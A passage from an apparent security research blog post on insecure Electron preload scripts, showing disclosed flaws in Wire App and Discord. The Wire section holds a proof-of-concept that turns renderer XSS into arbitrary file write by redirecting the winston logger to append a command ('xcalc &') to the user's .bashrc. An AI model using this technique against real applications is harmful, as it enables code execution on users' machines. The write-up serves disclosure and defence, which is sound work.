  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;allowedUrls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;indexOf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sendSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;blocked-popup-notification&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;origin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;defaultWindowOpen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;customWindowOpen&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;[...]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Through performing numerous assessments on behalf of our clients, we noticed a general lack of awareness around the risks introduced by preload scripts. Even in popular applications using all recommended &lt;a href=&quot;https://electronjs.org/docs/tutorial/security&quot;&gt;security best practices&lt;/a&gt;, we were able to turn boring XSS into RCE in a matter of hours.&lt;/p&gt;

&lt;p&gt;This prompted us to further research the topic and categorize four types of &lt;strong&gt;insecure preloads&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;(1) Preload scripts can reintroduce &lt;em&gt;Node&lt;/em&gt; global symbols back to the global scope&lt;/strong&gt;&lt;/p&gt;

    &lt;p&gt;While it is evident that reintroducing some Node global symbols (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process&lt;/code&gt;) to the renderer is dangerous, the risk is not immediately obvious for classes like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Buffer&lt;/code&gt; (which can be leveraged for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration&lt;/code&gt; bypass)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;(2) Preload scripts can introduce functionalities that can be abused by untrusted code&lt;/strong&gt;&lt;/p&gt;

    &lt;p&gt;Preload scripts have access to Node.js, and the functions exported by applications to the global &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window&lt;/code&gt; often include dangerous primitives&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;(3) Preload scripts can facilitate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandbox&lt;/code&gt; bypasses&lt;/strong&gt;&lt;/p&gt;

    &lt;p&gt;Even with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandbox&lt;/code&gt; enabled, preload scripts still have access to Node.JS native classes and a few Electron modules. Once again, preload code can leak privileged APIs to untrusted code that could facilitate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sandbox&lt;/code&gt; bypasses&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;(4) Without &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;contextIsolation&lt;/code&gt;, the integrity of preload scripts is not guaranteed&lt;/strong&gt;&lt;/p&gt;

    &lt;p&gt;When isolated words are not in use, prototype pollution attacks can override preload script code. Malicious JavaScript running in the renderer can alter preload functions in order to return different data, bypass checks, etc.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In this blog post, we will analyze a couple of vulnerabilities belonging to group (2) which we discovered in two popular applications: &lt;a href=&quot;https://wire.com/&quot;&gt;Wire App&lt;/a&gt; and &lt;a href=&quot;https://discordapp.com/&quot;&gt;Discord&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For more vulnerabilities and examples, please refer to our presentation.&lt;/p&gt;

&lt;h3 id=&quot;wireapp-desktop-arbitrary-file-write-via-insecure-preload&quot;&gt;WireApp Desktop Arbitrary File Write via Insecure Preload&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://wire.com/&quot;&gt;Wire App&lt;/a&gt; is a self-proclaimed &lt;em&gt;“most secure collaboration platform”&lt;/em&gt;. It’s a secure messaging app using end-to-end encryption for file sharing, voice, and video calls. The application implements isolation by using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration&lt;/code&gt; disabled, in which a &lt;a href=&quot;https://electronjs.org/docs/api/webview-tag&quot;&gt;webview&lt;/a&gt; HTML tag is used.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/wiredesign.png&quot; alt=&quot;Wire App frames&quot; width=&quot;550&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Despite enforcing isolation, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;web-view-preload.js&lt;/code&gt; preload file contains the following code:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;webViewLogger&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;winston&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Logger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;webViewLogger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;winston&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;transports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logFilePath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;handleExceptions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;webViewLogger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;NAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Version&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;VERSION&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// webapp uses global winston reference to define log level&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;global&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;winston&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;webViewLogger&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Code running in the isolated renderer (e.g. XSS) can override the logger’s transport setting in order to obtain a file write primitive.&lt;/p&gt;

&lt;p&gt;This issue can be easily verified by switching to the messages view:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementsByTagName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;webview&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;openDevTools&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Before executing the following code:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;formatme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logMessage&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;message&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;winston&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;transports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;winston&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;transports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__proto__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/home/ikki/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;level&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;.bashrc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;formatter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;formatme&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}))&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;winston&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;xcalc &amp;amp;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/wireappvuln.png&quot;&gt;
    &lt;source src=&quot;../../../public/images/wiredemo.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;This issue affected all supported platforms (Windows, Mac, Linux). As the sandbox entitlement is enabled on macOS,  an attacker would need to chain this issue with another bug to write outside the application folders. Please note that since it is possible to override some application files, RCE may still be possible without a macOS sandbox bypass.&lt;/p&gt;

&lt;p&gt;A security patch was released on &lt;a href=&quot;https://medium.com/wire-news/windows-3-7-2904-52c56b1113af&quot;&gt;March 14, 2019&lt;/a&gt;, just few days after our disclosure.&lt;/p&gt;

&lt;h3 id=&quot;discord-desktop-arbitrary-ipc-via-insecure-preload&quot;&gt;Discord Desktop Arbitrary IPC via Insecure Preload&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://discordapp.com/&quot;&gt;Discord&lt;/a&gt; is a popular voice and text chat used by over 250 million gamers. The application implements isolation by simply using a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow&lt;/code&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nodeIntegration&lt;/code&gt; disabled. Despite that, the preload script (&lt;em&gt;app/mainScreenPreload.js&lt;/em&gt;) in use by the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow&lt;/code&gt; contains multiple exports including the following:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DiscordNative&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;isRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;renderer&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//..&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;ipc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;./discord_native/ipc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//..&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;once&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;loaded&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;global&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DiscordNative&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DiscordNative&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;//..&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;where &lt;em&gt;app/discord_native/ipc.js&lt;/em&gt; contains the following code:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;electron&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_key&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_key&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;concat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Without going into details, this script is basically a wrapper for the official Electron’s &lt;a href=&quot;https://electronjs.org/docs/api/ipc-renderer#ipcrenderersendchannel-arg1-arg2-&quot;&gt;asynchronous IPC mechanism&lt;/a&gt; in order to exchange messages from the render process (web page) to the main process.&lt;/p&gt;

